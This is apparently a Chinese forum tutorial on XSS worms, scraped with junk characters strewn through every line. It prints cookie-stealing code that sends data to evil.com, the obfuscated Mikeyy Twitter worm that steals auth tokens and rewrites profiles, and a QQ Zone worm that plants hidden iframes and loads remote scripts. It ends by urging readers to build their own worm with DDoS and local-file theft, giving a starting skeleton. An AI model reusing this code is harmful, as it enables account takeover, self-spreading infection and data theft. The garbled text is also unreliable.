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</script>7 H2 b$ b. h" l3 w: A# c& Y
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>1 y5 _5 }$ d2 F5 i0 `, }; U
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
% F& }1 n4 B/ T- x$ q T+ {! m0 M0 V* X: |6 N
1 i$ o! ]3 S, z; ]; h o
6 U) p0 h; U& q7 SXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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* X( V% w- e3 \# i3 [XmlHttp.send(null);, i3 P) G# @* O4 |4 c
- ? L( p+ D* Y- D& c<script>
* \5 E+ |+ e: }. B7 n复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
! d! h1 r+ J6 g1 E( U& m复制代码案例:Twitter 蠕蟲五度發威
& k6 J# G0 i* L3 ^第一版:, j: n# d r% ]( J% N* J: |
下载 (5.1 KB)1 h( N% N2 O7 N
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6 天前 08:27
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2. " b5 P$ f8 n8 ]! r% [7 s
5 U" L6 {& }$ E6 r- w
3. function XHConn(){
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4. var _0x6687x2,_0x6687x3=false;
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. }. R, }$ y5 b- h+ [9 q 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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3 H5 b. `5 O/ m2 E6 o 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } * ]! q+ i- e3 h: |! \. n
: A. d# y$ O# F0 a6 e% ~ 8. catch(e) { _0x6687x2=false; }; }; }; / _' t, [# a% T- v- R' A1 h7 M0 X% Z
复制代码第六版: 1. function wait() { 7 ?5 ?* m3 I# Q* _0 b" i
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2. var content = document.documentElement.innerHTML;
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/ Z* M* V5 S3 ^1 J9 I' d 3. var tmp_cookie=document.cookie; + l. I1 m) {7 A+ B2 D
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4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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6. var authtoken=authreg.exec(content); % i' w2 S2 n$ L# A3 I& U8 o
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7. var authtoken=authtoken[1]; 2 G; G- K+ ?8 M. x
& ]: y! @# S) [2 t1 r; V1 ?0 A 8. var randomUpdate= new Array(); & ? G9 Q; _/ m' z% x7 g2 K. ^4 i
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; " b$ W6 G6 y7 z4 K
( x8 \* K, t# @ 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; % d' B6 X+ h1 X
0 n; c" W) j* ]2 k( n& b- B. g2 G 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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/ D3 L: n2 _. } 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; 5 {5 A: ] B$ j4 j
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; , k: p, t" Z ]9 j1 C$ u
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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9 k1 ^: F2 J; X$ ~# v 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; V G ]2 j# m
% Q, u* K3 }! ^9 [. f 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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r& r. B8 y* a3 P 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; ; `$ {& g+ P0 X( O
. f5 Y- V j, |1 l. \" d 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; 7 s; _% g* e3 L0 [
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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24.
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; ' {+ h2 O% T/ S3 ]
* w/ l2 c# c+ Y7 q. `' p' H 26. var updateEncode=urlencode(randomUpdate[genRand]);
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27.
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28. var ajaxConn= new XHConn(); 2 M7 |; W5 H0 T6 l
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); " S. y* l) \) g* A- U. Z
5 ]. T% O0 W1 h. p
30. var _0xf81bx1c="Mikeyy"; $ X( D3 ^* Z+ \0 }, Z1 m1 ]2 @6 s8 S
1 c; E2 @* ^, [6 `, U8 A5 j 31. var updateEncode=urlencode(_0xf81bx1c); . _% O) u- G4 Q3 L M; x, c5 n
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32. var ajaxConn1= new XHConn(); & x/ p) [& L0 C6 N, }' C- k
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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$ G+ D7 Z0 U+ F; l9 D 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; - K8 j6 q9 }6 D3 _7 d
# _) O$ O" v$ i" h# r7 q
35. var XSS=urlencode(genXSS);
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4 i4 m' @. t3 G' j0 k8 [ 36. var ajaxConn2= new XHConn(); , a2 O) ~$ m( r. P
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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: X& X- W, W1 N- L; @8 `. Z 38. ; g9 W6 ?5 |0 B3 D
, W. e5 F1 w; V' W% _3 T! F 39. } ;
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+ Q; U5 I% F6 h& _( F 40. setTimeout(wait(),5250); 1 }9 m% I2 b& e; _2 w; f3 j- P
复制代码QQ空间XSSfunction killErrors() {return true;}1 U; U) Z- O+ H+ P4 E; ]
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window.onerror=killErrors;
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var shendu;shendu=4;( n; I- j) z8 d: q( L
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//---------------global---v------------------------------------------) f% a# r! j) \) Q' L
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";4 l$ g# {/ B/ k( q+ a! f, t
6 @* g1 }0 f; g: }# ovar myblogurl=new Array();var myblogid=new Array();
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var gurl=document.location.href;3 E, @6 x. {- @) y
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var gurle=gurl.indexOf("com/");
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gurl=gurl.substring(0,gurle+3);
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" I7 q; k M3 e; Z/ Z% ?6 M var visitorID=top.document.documentElement.outerHTML;
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var cookieS=visitorID.indexOf("g_iLoginUin = ");
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visitorID=visitorID.substring(cookieS+14);3 ^ f( b) |. z4 }" N+ \& D* [! }
/ {/ e1 U1 Y8 g1 k cookieS=visitorID.indexOf(",");) b7 o. \& O9 `% Z7 P5 A9 v( c+ p; ?
- H3 K1 }8 [# n* S visitorID=visitorID.substring(0,cookieS);4 c- i t4 ?" A4 Y" w) H: `
. B0 n7 H$ F6 B6 O$ j get_my_blog(visitorID);
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8 w u- s8 ]- z DOshuamy();5 k+ ?' T/ X* m
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6 h2 a R% l$ u9 e& [, H: h
) z( x* G$ H2 x+ E# Q//挂马
5 i: L! A7 O) X
|9 I4 v; _ D" h0 Ifunction DOshuamy(){6 T0 }: j* B9 C, K$ M
. ?, ]; [* f2 Z( q+ C# r/ O B: j
var ssr=document.getElementById("veryTitle");
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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}
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6 [! D2 @4 j! D5 k. o//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?4 F2 B9 I% e1 ?8 K8 Z# k3 r
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function get_my_blog(visitorID){. u' y4 D! E" K: \7 i' }
" J' o3 j7 x" d& x- V# m% q3 @ userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";: q }+ J( F* w7 y- q$ ~
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr){ //成功就执行下面的
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL* |. d9 s, b- [7 e- R
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xhr.send();guest=xhr.responseText;
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get_my_blogurl(guest); //执行这个函数4 `* H0 S3 F0 T) A
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//这里似乎是判断没有登录的' Y/ B- G: p- b, s
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function get_my_blogurl(guest){% q: P, D3 t, r; L* x3 k0 F0 L+ V+ y
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var mybloglist=guest;
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var myurls;var blogids;var blogide;
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! t1 D+ x6 M8 R' m4 p& z5 ?, L1 C for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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3 B8 P6 C5 V" L1 I if(myurls!=-1){ //找到了就执行下面的' l ], [- a) j0 M# d
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mybloglist=mybloglist.substring(myurls+11);
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3 A2 Q# [4 h C! A) J! A myurls=mybloglist.indexOf(')');/ t5 F: ~: Z9 [, u2 w9 ?
6 x% Q v& L: l+ l myblogid=mybloglist.substring(0,myurls);( g( B' O8 ~( i, A% M' J; f$ L% Z
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}else{break;}
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+ X$ _; @ F9 I P}
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get_my_testself(); //执行这个函数
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# I6 w* }% l0 _+ z# U# S/ l
' j& N0 i A! }6 ]8 P- f//这里往哪跳就不知道了9 E- D, D. U/ I5 t
1 @1 u- i& Q$ t6 I4 Nfunction get_my_testself(){2 ~8 v1 L7 v2 I1 N" w
. _2 R( X% j1 ~ for(i=0;i<myblogid.length;i++){ //获得blogid的值
' i8 Y. Q) o: \7 `/ w! L- @& x! Y- E$ z g L3 L S
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
) N$ s$ }' v, z0 S7 [- b0 u O& f4 ]& j. [& u4 I2 O2 [- {
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象; ~$ y1 o1 w9 ]9 b: S: c
) {' I! }0 B0 A0 @& j" r
if(xhr2){ //如果成功 m+ F2 }4 d9 d6 j/ ?
3 L" C1 E! m1 j" W7 j% m4 ~ xhr2.open("GET",url,false); //打开上面的那个url; m# ` t J1 c; D# Y; s3 m
' n0 ]" h+ Y1 }$ |8 V xhr2.send();8 k7 D! _1 v3 I8 ~8 v8 R0 q0 p% q% Y
- k* e8 \$ m* R0 ^# _0 Z) U6 k guest2=xhr2.responseText;
# h$ Q5 g( y" i* q
# u! {( q$ V: |3 M3 X var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
1 b# S* Y2 i+ ?% B% P2 W) O
. z- u" L5 u+ w8 g1 ], { var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
; Q! |- T% u) N- l* E& F* ^! X" r+ E' S* S
if(mycheckmydoit!="-1"){ //返回-1则代表没找到* R9 q: ]& D8 r: j( }# X; c
6 x, y$ m( v' x6 N
targetblogurlid=myblogid;
/ s$ z, ^9 V- L1 w5 m; p& x0 D
# L1 v. }- ?* ]+ C add_jsdel(visitorID,targetblogurlid,gurl); //执行它
! Q5 u% q- u. H+ k" m% ^$ ?1 ?, j& H# ^6 U2 R5 N
break;
, s8 A5 `! h+ y& h; C8 s
+ f9 Z# {! H# g }
* }# F! J! A; N6 a' G
6 p5 v- H7 p+ L" l if(mycheckit=="-1"){/ N4 G$ Z9 B% \2 M7 B% H
5 o7 D* Z4 F/ T: R- B" D- Q5 ~
targetblogurlid=myblogid;+ v# a; h) B# d
% O4 F/ ^/ m, X/ l0 a' T) k add_js(visitorID,targetblogurlid,gurl); //执行它( {, B+ I6 X _9 b
/ d' r6 G' R& R8 B' a0 {3 o" P break;
2 K& ~5 K6 X( g5 N, i$ ?+ K! X V! A `9 G- q- R7 S* k) V: m$ A$ x4 M
}9 C. P# M3 U( I, L
! n, f9 Z; _3 e; k. g# S& \
} 0 Q8 X, k- I j* {& R
) w' t5 S/ V, e' ]+ n* C7 r
}
: {- P# U0 c& w& O* i6 u# R; Z1 d7 i$ o5 ?8 y6 G
}4 W! r7 B% ^8 v4 w d
3 Z0 X; W( O$ R; O5 S/ d7 b- _
t+ D' i _8 k. L) u4 M( M& G3 o& n* e9 c1 _4 D
//-------------------------------------- " N" g( _. @ U6 j
9 C5 F% h, ?4 C# ?5 I( E
//根据浏览器创建一个XMLHttpRequest对象/ k+ U1 g/ e8 A0 s1 l
4 @* V+ W, T. b; \/ z
function createXMLHttpRequest(){3 {5 b; n) t; v. S& c. d8 N
' F* L% K2 j* h6 B+ k% J var XMLhttpObject=null;
! [0 n8 w6 J+ z
$ G( X* \/ K, a8 r2 _! n6 a if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
* v+ g' x; l8 R* M" X( y4 A5 s: m) I2 U" o6 z
else
1 o: [( _2 } i. B6 k4 e
0 p1 ?% K& }0 X7 G# b1 s { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
3 ^% ?" p8 s. ^" X3 K9 Z0 K
5 f: h [4 R& p for(var i=0;i<MSXML.length;i++) 7 E1 \) L% ?6 W7 N9 f' {
+ b7 w, W; d: m% r* Z
{ 5 u0 }/ {- ^ H$ b6 |8 ~
% I% z. r0 ]; v% Z) r
try ' {; H4 n/ Z5 X& E
) d' q2 z# ^- {2 j# D { $ q5 @# U: S2 j3 u6 O& ~
8 h9 j5 g, @" y! [2 L6 P) {
XMLhttpObject=new ActiveXObject(MSXML); 7 i1 {, u0 _; C! d5 [
# h+ w; d c! D, D5 b, N3 U/ ^ break; ( r) J5 _9 ^8 M0 W
4 A) p5 w5 l" {9 ^+ V
} ( v( A' w" `; ~1 k* k: K
/ A7 u/ [0 E% A% i. c* V
catch (ex) { 1 W7 \9 Q$ \" u% X5 N% v
% d( k! _( p5 ~% t7 W+ f T/ W8 \$ d4 ~
}
$ G! q; Z9 K2 S( Q7 K; V
+ ]+ o/ ^* y8 P! u* Z3 D }
" U* u% }4 v2 a; V( P6 I+ U# `) g" E+ }8 Y& p
}
; Q% ?3 T" `! [) m. p5 {3 B! m) a
) S: A$ [3 w* _9 xreturn XMLhttpObject;
" Q6 u3 ]3 @9 `; K4 u$ ^% L8 J3 f$ @3 `7 ?* L5 R
}
0 u0 J2 h; G- E% D* W7 W% U1 O8 H
4 B% Q0 ]) o$ L! n0 x0 b- t
/ W. d% t3 M& ]& C8 l//这里就是感染部分了
2 Q8 ^ L! d( P
m6 S } ~( _% bfunction add_js(visitorID,targetblogurlid,gurl){
$ V: e/ A( ?5 F/ B# d! q" y% k0 m6 r0 x
var s2=document.createElement('script');
/ N: R2 Q9 B( B7 D2 ?$ s3 m# D+ g; t" U( ^( e+ Z& F
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
2 h5 }. b* d' t2 ~9 G2 g, K' |' a7 n) {) @% p( k7 c# H# z
s2.type='text/javascript';
: N+ ?- Z, M4 K' Z1 k
8 I' @1 Y5 }- g) ?6 \document.getElementsByTagName('head').item(0).appendChild(s2);
' Q/ V5 G7 r* Y! M3 z
: m0 r3 X) R8 e- G3 ?2 q}; |$ k! c2 ~& G* A) l& ~. y) b' h
2 x1 m. l/ I/ w+ p- }; Q( S
. |; t( {" }8 h: C4 d$ R5 u% A3 A% @
function add_jsdel(visitorID,targetblogurlid,gurl){$ V. L, z/ U5 o/ a+ ~& o- |
) _" B* N0 Y8 {% Svar s2=document.createElement('script');- ^7 ~/ e# w3 ]! W
5 S* a* t* Z. M# f
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();7 Z$ a7 O/ p( E' a9 [6 s! E" q% N
( U1 r3 j; ]. O+ ^) i0 I4 i) Js2.type='text/javascript';: e; w9 p! s1 m( X# @$ ]
. p2 n3 I" n, c/ [
document.getElementsByTagName('head').item(0).appendChild(s2);
: e7 K) ?) @& K; n7 t& Z0 U" a& W$ K) J* V) S, \2 h1 W; [' n
}: e9 Q/ k7 s, u! e3 D
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
' u9 x7 ]) E" Y# r p& Z4 g) `1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
! ^! U+ r x( I$ ~+ M4 g, N
" }. i2 P( H k2 ~2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
5 f) J5 I0 X m, u/ K& H2 E0 m
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
( ] l' x8 ^5 W- Z4 E2 {1 k0 G9 v" n7 H" V
" Q7 a& j7 g8 `. Q4 X* ?下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.# w; `# C7 ?1 @
}; T) v( d+ m, X5 j" l% w
首先,自然是判断不同浏览器,创建不同的对象var request = false;5 K9 x8 ^8 A5 [% G- c- L
; i, }; c5 T" W2 M! o8 K8 ]if(window.XMLHttpRequest) {
. j1 r1 ]4 l( a! F- [ f: o1 }9 z/ r6 p* w3 N/ h7 B
request = new XMLHttpRequest();
9 N! E& t/ I/ J# r& i; g
! s9 C' F& m' b/ o. w* h5 kif(request.overrideMimeType) {
2 ~+ m$ o7 I5 |* M7 Z% y! n [
k, h5 i% U- }( G! xrequest.overrideMimeType('text/xml');4 E: c+ \8 i* A9 I2 U( M" g5 I! \6 `: Q% X
* f @. b o. d}
' ]: t* }; _2 @7 a% c2 m) S/ A$ z' a* l! ?( _* |
} else if(window.ActiveXObject) {
! e) v, w9 n* P- I' R- E( B. y% R U# N- j! a
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];& a, I6 N; x7 d. X; n- w0 |' `; K
: s) K" @. q- bfor(var i=0; i<versions.length; i++) {% B8 r: l3 }/ e5 n$ p* B
6 V. \+ g6 d" I/ |
try {
7 b9 p3 q1 a2 ]$ w F
: q( z3 w) {% u7 Srequest = new ActiveXObject(versions);
4 l& D0 J9 l5 l1 R2 {/ i6 ?/ o
+ _, Q9 A2 `. d% A+ V( ^} catch(e) {}3 w S) W. U- a( M
+ x$ N/ j0 g: E( @$ W
}
1 s; x$ M4 Y+ M+ f. U( p0 [( J: r1 }9 k. [% r
}) D1 k, n* |# o0 `/ Q
% U. l! i8 S4 BxmlHttpReq=request;' G5 F& e+ i$ ~$ q) R1 N/ X6 e; ?
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){! t' r; o# b- K* c( ], O0 Y/ O Q
1 s. H7 D. f6 Q& f var Browser_Name=navigator.appName;
% R0 f- x7 w/ ~
# q9 G) T# N6 |3 R* e1 n- O var Browser_Version=parseFloat(navigator.appVersion);
, e# ?# [6 i" P- Z! N X m$ N0 [9 ~) U: j: A: y: T
var Browser_Agent=navigator.userAgent;
* h: W+ Y. f0 P5 l$ ~+ p; ]( i# g7 G. N. s) ?
" J6 @, n0 ?) N$ E' V3 E9 i6 r3 D/ e. m6 K$ f$ x0 L
var Actual_Version,Actual_Name;
' h- G' |7 q- y( j }. x8 T+ T. V( f+ q+ Z/ b3 y3 @
/ l4 x8 X5 I/ F& A
) i# J. l! N7 _ var is_IE=(Browser_Name=="Microsoft Internet Explorer");
1 Q3 Z6 _$ u4 E6 f: ^, H G/ E
8 N0 B! W! x3 y var is_NN=(Browser_Name=="Netscape");
u& j# n I7 f$ w" B# }% ]8 |; g, T3 Y1 G& E% r2 i- h6 l
var is_Ch=(Browser_Name=="Chrome");; z W$ e& J, U" P
3 B6 i o& H+ f! q" R
8 b2 U2 r/ T. r" N( R
* ~% X* _* ?# e+ c if(is_NN){% G5 w) [! A4 F# g3 m
3 U) N' p( _- e# \' ~, ]0 c
if(Browser_Version>=5.0){
( j+ g$ n' j( [- q! |0 e* E
1 m$ ~( y$ l" x6 S; ? var Split_Sign=Browser_Agent.lastIndexOf("/");
- Z; ^5 }7 ^0 t) u# N
+ P7 O! j- R4 m9 C/ A var Version=Browser_Agent.indexOf(" ",Split_Sign);- ~. z( _+ I) z9 \3 e- p. y, K
" e. [. V0 g/ {$ T x
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);! u+ J& {5 y3 y. _) U1 Y# t( w0 y
- d: F0 d$ Y* D1 t& }
9 R5 `7 ]+ H1 o1 N" l. b2 P6 h# ?+ v. ]: t
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
) C: w# `- b$ e2 v/ ?
0 L& P# ~. s. }- l Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);! J+ }5 w7 y1 S' r
/ Z# b1 g- x7 V3 x P% n7 A* `
}
: Q0 F0 S' e9 L8 B
$ ?4 T" _ E. g# S$ [* M else{
+ ^6 N' `* F3 |* A+ V D! M( z
& s8 e( g0 Y$ a/ y" o" | Actual_Version=Browser_Version;
$ d0 a' u* n z
/ j; d, k( L: e* L8 U9 H& N Actual_Name=Browser_Name;4 o1 b) [4 X8 `4 ^$ V$ P+ B
4 Z0 I7 R m$ k* t: h; l
}
3 i. I" F$ E+ x- a2 w2 A6 D
' M( x$ h7 Y4 T; Z }
5 ^$ j& Z1 Y/ H8 I6 |4 d' u- L) q; O
else if(is_IE){
# g' h# ^% f1 S9 |5 { B$ Z! ^2 [3 X
2 l: J8 Y2 n) x, t; i/ j W! O var Version_Start=Browser_Agent.indexOf("MSIE");
) F& b/ h6 M( z7 c$ N3 ~$ }1 M
# \: S$ t8 W. u var Version_End=Browser_Agent.indexOf(";",Version_Start);" \! U7 Z/ n1 v. T0 e
* k+ {9 b2 Y/ K7 E( ?
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)+ c ~, ^0 U8 S$ Y+ M3 u
0 P$ f- K; F2 U1 z3 x* k( R Actual_Name=Browser_Name;& ]' e4 |" X C3 _; r. l
& M$ o; S# e1 L$ ^
( V! ]" ^8 y3 z8 i6 v: a2 |# M2 X
* o3 i6 G: z1 G if(Browser_Agent.indexOf("Maxthon")!=-1){; u& D! V( u" I: A" z( {7 P8 a6 s! M
/ a' ~! k. Q$ H0 ~. y& \$ \ Actual_Name+="(Maxthon)";
& K8 Y& y% z# s3 L$ T/ `; B4 k
& @- _) p( x; ?5 X }
4 n- V6 g. J! n- W5 E- \# V9 Q( {" ], h) V$ U
else if(Browser_Agent.indexOf("Opera")!=-1){
) J/ z i2 K- g) V$ h6 q
% ` `& q- z: x) R6 e" j Actual_Name="Opera";
8 W: o B$ k; l Y# K. ~6 t
8 U, X2 ^" ~6 {; y+ D# T2 l var tempstart=Browser_Agent.indexOf("Opera");
% C) F, n- a7 v) y; T8 [2 G7 ^; g- V; K, l) t
var tempend=Browser_Agent.length;" T9 w- o5 v0 \2 _
3 R5 g+ Z% Y5 {) ?
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)' Z* Z7 k9 g2 u' V! V& B' L2 X
/ c4 L2 d7 P% F5 A$ T2 C- B }
( O* c5 ^8 `7 J$ d) b! q$ e- q2 s- ]$ a( W+ V
}
: C0 Y" J, T: h) g6 B
' A' P; m6 ^' v5 P% B else if(is_Ch){) r z" V: I: g4 C9 v2 [/ L
" _! b$ a7 y8 y; E: k4 L- f$ i( \ var Version_Start=Browser_Agent.indexOf("Chrome");& p$ n% i( g9 A1 n
) L8 K' G2 \8 @9 [
var Version_End=Browser_Agent.indexOf(";",Version_Start);
0 X# t* M6 X2 H. M! U2 |
8 {7 _0 V/ y& F1 r) B& j4 x Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)7 I; M3 J; T; f {/ R* I
6 _" \ G7 Z; q9 h# q/ X. ? Actual_Name=Browser_Name;
+ f" T1 t1 P, [8 P: |; O' d* d1 a& {" s
+ f3 J$ ]7 S. ^! `! n4 e
3 `1 u3 Z- a, q& c4 e if(Browser_Agent.indexOf("Maxthon")!=-1){ d3 y$ P% V- @& a8 ]
$ h- z* g, C: v# z( x
Actual_Name+="(Maxthon)";7 V# h, ]! U' y F( q. }
2 Y) }- q- _) v }) }5 u ]: A4 \9 Z. s! _
4 W" c4 K6 Z/ E1 Y _9 h: Y9 x else if(Browser_Agent.indexOf("Opera")!=-1){- U$ `6 H& B4 c5 N
/ Y- l, H0 S, Q) H0 Z! [' f9 ~: E _
Actual_Name="Opera";6 \, x0 z* h% Y# v; ?
, S' l. I5 n0 h# |: } var tempstart=Browser_Agent.indexOf("Opera");9 m! x7 i9 z# g0 p5 }! u
$ b! Y; }+ M5 G3 y# ]% v: L
var tempend=Browser_Agent.length;8 K3 j* F8 M7 Z! N: q _6 v
! U: J9 h/ M+ s8 `# g
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
: {* F! w& C B v2 u
~1 K9 m3 Y* K+ K9 I) i) O }
) R1 s9 Y6 ?- W4 X2 H8 l9 `! [8 `& |. g( |& O0 F$ [
}
, @# N* I: F, }5 u# C. |+ P# l8 z b$ @
else{2 i% ~3 D3 k8 l7 w9 Y2 h" k( z6 Z
9 _' _4 Z1 Y4 P( b$ W# B! I Actual_Name="Unknown Navigator"
6 B! d. y6 }, o9 @% h+ Z: F s6 q1 v
, |: j# H' v# u7 k5 j; O Actual_Version="Unknown Version"
0 {9 B" K6 d0 I. r/ J6 y$ P2 P* l5 G0 L$ M" }) L8 ?
}8 \4 H9 S8 {: E- M! i
9 R% U9 r9 O, y4 ]* L$ W
0 C6 J& D0 E0 ]) m0 ]: u* D; M% ?9 o! i m1 y0 j9 M8 U+ n
navigator.Actual_Name=Actual_Name;
) X. x+ z- D* ~: j( ^) }9 N& I
" k0 l( R. ~% I+ J navigator.Actual_Version=Actual_Version;8 ^; i1 V( \+ `% d8 W, z& ?& M
0 F% y- @' H- M. i8 G9 m
/ Z0 Y/ v9 Q; N
0 d4 c) p8 |6 L0 h4 i( O this.Name=Actual_Name;" I8 I$ E$ `& V9 a) c" A4 }: P
. d6 N! s R! L. i9 K+ J6 a2 t4 Y this.Version=Actual_Version;' P$ m) a2 T7 c( _& s4 ?9 a
& S) M, y5 ^" _
}
3 F+ z) |4 `/ b3 U) e' L I, Q4 Z/ g; o
browserinfo();: L! z3 Z- p1 Y/ g
4 Z! A8 o& R4 ` e
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
- W. D# l3 A7 _, C
( n8 p7 Z; D6 e4 b8 M% W if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}) ?, T6 C& m: ^$ S
